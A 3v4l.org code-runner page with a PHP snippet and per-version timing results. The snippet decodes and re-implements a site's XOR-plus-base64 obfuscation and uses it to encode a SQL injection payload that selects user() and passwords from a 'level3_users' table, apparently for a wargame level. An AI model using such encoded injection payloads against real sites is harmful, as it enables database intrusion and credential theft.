3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' union all select 1,2,user(),password from level3_users--"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0040.01116.88
8.3.50.0230.00717.72
8.3.40.0120.00319.08
8.3.30.0070.00719.09
8.3.20.0030.00918.88
8.3.10.0030.00618.94
8.3.00.0040.00419.51
8.2.180.0140.00016.75
8.2.170.0040.01122.96
8.2.160.0100.00320.56
8.2.150.0000.00824.18
8.2.140.0080.00024.66
8.2.130.0070.00026.16
8.2.120.0030.00521.13
8.2.110.0070.00320.35
8.2.100.0040.00717.97
8.2.90.0030.00619.35
8.2.80.0040.00419.34
8.2.70.0000.01217.88
8.2.60.0040.00418.05
8.2.50.0060.00318.07
8.2.40.0040.00418.22
8.2.30.0040.00418.23
8.2.20.0030.00617.91
8.2.10.0080.00017.93
8.2.00.0070.00417.90
8.1.270.0050.00324.66
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0090.00022.52
8.1.230.0120.00021.04
8.1.220.0000.00818.77
8.1.210.0000.00818.85
8.1.200.0030.00617.47
8.1.190.0030.00517.51
8.1.180.0000.00818.10
8.1.170.0050.00318.71
8.1.160.0040.00418.94
8.1.150.0040.00418.73
8.1.140.0070.00017.58
8.1.130.0000.00717.83
8.1.120.0070.00517.54
8.1.110.0000.00717.56
8.1.100.0040.00417.52
8.1.90.0040.00417.68
8.1.80.0070.00017.61
8.1.70.0000.00717.53
8.1.60.0050.00617.81
8.1.50.0040.00417.64
8.1.40.0000.00817.66
8.1.30.0040.00417.66
8.1.20.0040.00417.82
8.1.10.0030.00517.82
8.1.00.0040.00417.61
8.0.300.0000.00719.90
8.0.290.0000.00717.17
8.0.280.0030.00318.38
8.0.270.0030.00317.32
8.0.260.0050.00218.50
8.0.250.0070.00017.20
8.0.240.0070.00017.11
8.0.230.0000.00717.14
8.0.220.0050.00317.06
8.0.210.0000.00717.09
8.0.200.0030.00317.15
8.0.190.0080.00017.13
8.0.180.0000.00716.98
8.0.170.0100.00017.11
8.0.160.0040.00417.04
8.0.150.0000.00017.03
8.0.140.0080.00417.03
8.0.130.0060.00013.45
8.0.120.0040.00417.02
8.0.110.0000.00817.07
8.0.100.0040.00416.95
8.0.90.0040.00416.91
8.0.80.0110.00417.06
8.0.70.0080.00017.11
8.0.60.0000.00716.88
8.0.50.0000.00817.05
8.0.30.0030.01517.12
8.0.20.0120.00617.52
8.0.10.0000.00717.06
8.0.00.0070.01116.88
7.4.330.0030.00313.24
7.4.320.0000.00616.75
7.4.300.0000.00616.68
7.4.290.0070.00016.80
7.4.280.0030.00616.66
7.4.270.0070.00016.70
7.4.260.0070.00013.50
7.4.250.0060.00316.64
7.4.240.0030.00416.80
7.4.230.0030.00316.83
7.4.220.0130.01416.61
7.4.210.0080.00816.89
7.4.200.0090.00016.64
7.4.190.0030.00316.70
7.4.160.0140.01016.64
7.4.150.0000.01816.64
7.4.140.0100.00816.60
7.4.130.0100.00716.80
7.4.120.0090.00816.77
7.4.110.0120.00916.77
7.4.100.0090.00916.77
7.4.90.0100.01616.59
7.4.80.0110.00619.39
7.4.70.0080.01516.73
7.4.60.0100.00616.67
7.4.50.0030.00916.59
7.4.40.0060.01016.69
7.4.30.0060.01816.70
7.4.00.0060.00814.96
7.3.330.0070.00013.51
7.3.320.0060.00013.47
7.3.310.0030.00516.60
7.3.300.0030.00316.59
7.3.290.0110.00816.55
7.3.280.0070.00816.51
7.3.270.0130.00916.82
7.3.260.0100.00716.52
7.3.250.0120.00716.57
7.3.240.0000.01816.77
7.3.230.0110.00716.89
7.3.210.0130.00316.79
7.3.200.0100.01016.52
7.3.190.0130.00716.87
7.3.180.0070.00716.67
7.3.170.0080.01216.72
7.3.160.0080.00816.75
7.3.120.0100.00615.30
7.3.10.0080.00816.93
7.3.00.0000.01216.85
7.2.330.0190.00316.93
7.2.320.0120.00616.77
7.2.310.0040.01517.04
7.2.300.0080.01016.84
7.2.290.0000.01616.91
7.2.130.0040.00917.08
7.2.120.0090.00316.96
7.2.110.0040.01217.15
7.2.100.0100.00317.16
7.2.90.0100.00717.23
7.2.80.0040.00717.22
7.2.70.0000.01217.12
7.2.60.0040.01117.18
7.2.50.0000.01317.20
7.2.40.0030.01016.90
7.2.30.0050.00817.30
7.2.20.0120.00316.91
7.2.10.0070.00717.03
7.2.00.0030.01018.32
7.1.250.0120.00016.07
7.1.100.0060.01018.20
7.1.70.0070.00017.56
7.1.60.0110.01419.40
7.1.50.0100.01417.12
7.1.00.0000.06322.47
7.0.200.0240.00715.09
7.0.140.0070.07021.92
7.0.120.0070.07022.02
7.0.60.0070.08020.09
7.0.50.0100.07017.99
7.0.40.0030.05017.74
7.0.30.0170.07017.77
7.0.20.0070.08717.76
7.0.10.0070.08017.75
7.0.00.0070.08017.77
5.6.210.0170.06720.54
5.6.200.0070.06318.20
5.6.190.0070.06718.29
5.6.180.0030.04018.17
5.6.170.0100.07718.21
5.6.160.0100.09018.23
5.6.150.0130.07318.19
5.6.140.0100.04018.18
5.6.130.0100.06718.20
5.6.120.0070.04718.28
5.6.110.0130.07018.15
5.6.100.0030.08018.18
5.6.90.0130.04318.26
5.6.80.0170.07017.54
5.6.70.0070.07717.50
5.6.60.0070.06317.48
5.6.50.0030.04317.56
5.6.40.0070.05717.64
5.6.30.0030.04317.55
5.6.20.0100.06317.50
5.6.10.0130.05317.51
5.6.00.0100.08017.53
5.5.350.0030.08320.45
5.5.340.0100.07717.96
5.5.330.0000.06717.99
5.5.320.0070.08317.98
5.5.310.0100.07717.99
5.5.300.0030.05318.03
5.5.290.0100.06017.92
5.5.280.0130.08317.92
5.5.270.0030.07317.96
5.5.260.0030.06018.09
5.5.250.0000.05317.77
5.5.240.0200.05017.32
5.5.230.0070.07317.41
5.5.220.0130.07017.33
5.5.210.0070.04317.46
5.5.200.0030.06317.33
5.5.190.0030.08017.34
5.5.180.0130.07717.44
5.5.160.0030.05017.42
5.5.150.0030.08317.34
5.5.140.0070.07717.30
5.5.130.0100.06717.43
5.5.120.0070.07017.30
5.5.110.0030.04017.27
5.5.100.0130.07317.18
5.5.90.0070.04717.24
5.5.80.0070.05017.32
5.5.70.0070.07317.27
5.5.60.0030.05017.25
5.5.50.0030.05017.32
5.5.40.0030.05317.22
5.5.30.0000.05317.22
5.5.20.0030.06717.26
5.5.10.0030.04017.25
5.5.00.0070.04717.31
5.4.450.0100.04319.45
5.4.440.0030.08719.31
5.4.430.0100.07319.42
5.4.420.0000.05019.35
5.4.410.0130.06719.27
5.4.400.0130.03019.03
5.4.390.0070.05718.95
5.4.380.0030.05719.12
5.4.370.0130.06719.04
5.4.360.0130.06719.02
5.4.350.0030.05719.04
5.4.340.0030.05719.06
5.4.320.0100.06318.98
5.4.310.0100.07019.05
5.4.300.0100.03719.14
5.4.290.0030.08019.05
5.4.280.0070.03719.05
5.4.270.0100.05319.12
5.4.260.0030.05719.01
5.4.250.0070.05019.05
5.4.240.0070.07019.26
5.4.230.0070.07019.12
5.4.220.0070.07319.13
5.4.210.0070.06719.02
5.4.200.0130.07319.01
5.4.190.0100.06718.99
5.4.180.0100.04719.02
5.4.170.0100.07318.88
5.4.160.0070.04719.04
5.4.150.0030.04019.10
5.4.140.0030.06016.43
5.4.130.0070.03316.48
5.4.120.0070.07316.43
5.4.110.0030.04316.36
5.4.100.0070.04316.43
5.4.90.0130.06716.54
5.4.80.0100.06716.59
5.4.70.0030.07316.53
5.4.60.0070.06016.38
5.4.50.0100.04716.40
5.4.40.0100.04016.59
5.4.30.0070.04716.45
5.4.20.0070.07716.37
5.4.10.0070.04316.35
5.4.00.0030.05315.77
5.3.290.0030.08314.66
5.3.280.0030.05014.61
5.3.270.0130.07014.57
5.3.260.0100.03314.61
5.3.250.0030.05714.66
5.3.240.0030.07714.57
5.3.230.0100.06014.68
5.3.220.0030.08314.59
5.3.210.0100.07314.45
5.3.200.0000.08014.62
5.3.190.0030.07714.64
5.3.180.0000.06314.53
5.3.170.0030.08014.58
5.3.160.0000.07014.80
5.3.150.0070.06714.67
5.3.140.0070.06714.59
5.3.130.0030.04714.63
5.3.120.0030.08014.62
5.3.110.0100.07714.60
5.3.100.0100.08014.07
5.3.90.0030.05714.08
5.3.80.0030.04714.12
5.3.70.0070.03314.03
5.3.60.0100.06314.00
5.3.50.0070.06013.84
5.3.40.0000.05314.00
5.3.30.0070.06013.94
5.3.20.0100.06013.71
5.3.10.0070.04713.64
5.3.00.0070.04013.68
5.2.170.0100.05011.21
5.2.160.0000.04711.20
5.2.150.0130.05311.21
5.2.140.0070.06311.12
5.2.130.0100.05711.00
5.2.120.0030.06011.09
5.2.110.0070.03711.13
5.2.100.0030.05310.96
5.2.90.0000.06311.21
5.2.80.0100.03011.13
5.2.70.0030.06011.13
5.2.60.0030.04710.95
5.2.50.0070.03711.07
5.2.40.0030.03011.05
5.2.30.0000.03310.97
5.2.20.0000.03011.03
5.2.10.0070.02710.83
5.2.00.0000.03010.75
5.1.60.0030.0279.95
5.1.50.0030.04710.05
5.1.40.0000.04310.01
5.1.30.0000.03010.38
5.1.20.0030.03010.34
5.1.10.0030.04010.17
5.1.00.0000.04710.15
5.0.50.0000.0408.66
5.0.40.0030.0478.42
5.0.30.0070.0578.42
5.0.20.0000.0338.42
5.0.10.0030.0438.42
5.0.00.0100.0608.42
4.4.90.0030.0338.42
4.4.80.0030.0308.42
4.4.70.0000.0408.42
4.4.60.0070.0138.42
4.4.50.0030.0378.42
4.4.40.0030.0408.42
4.4.30.0100.0178.42
4.4.20.0030.0178.42
4.4.10.0100.0238.42
4.4.00.0000.0578.42
4.3.110.0030.0238.42
4.3.100.0000.0178.42
4.3.90.0000.0338.42
4.3.80.0130.0408.42
4.3.70.0030.0308.42
4.3.60.0000.0408.42
4.3.50.0000.0378.42
4.3.40.0030.0538.42
4.3.30.0030.0308.42
4.3.20.0000.0308.42
4.3.10.0000.0338.42
4.3.00.0000.0208.42

preferences:
54.3 ms | 400 KiB | 5 Q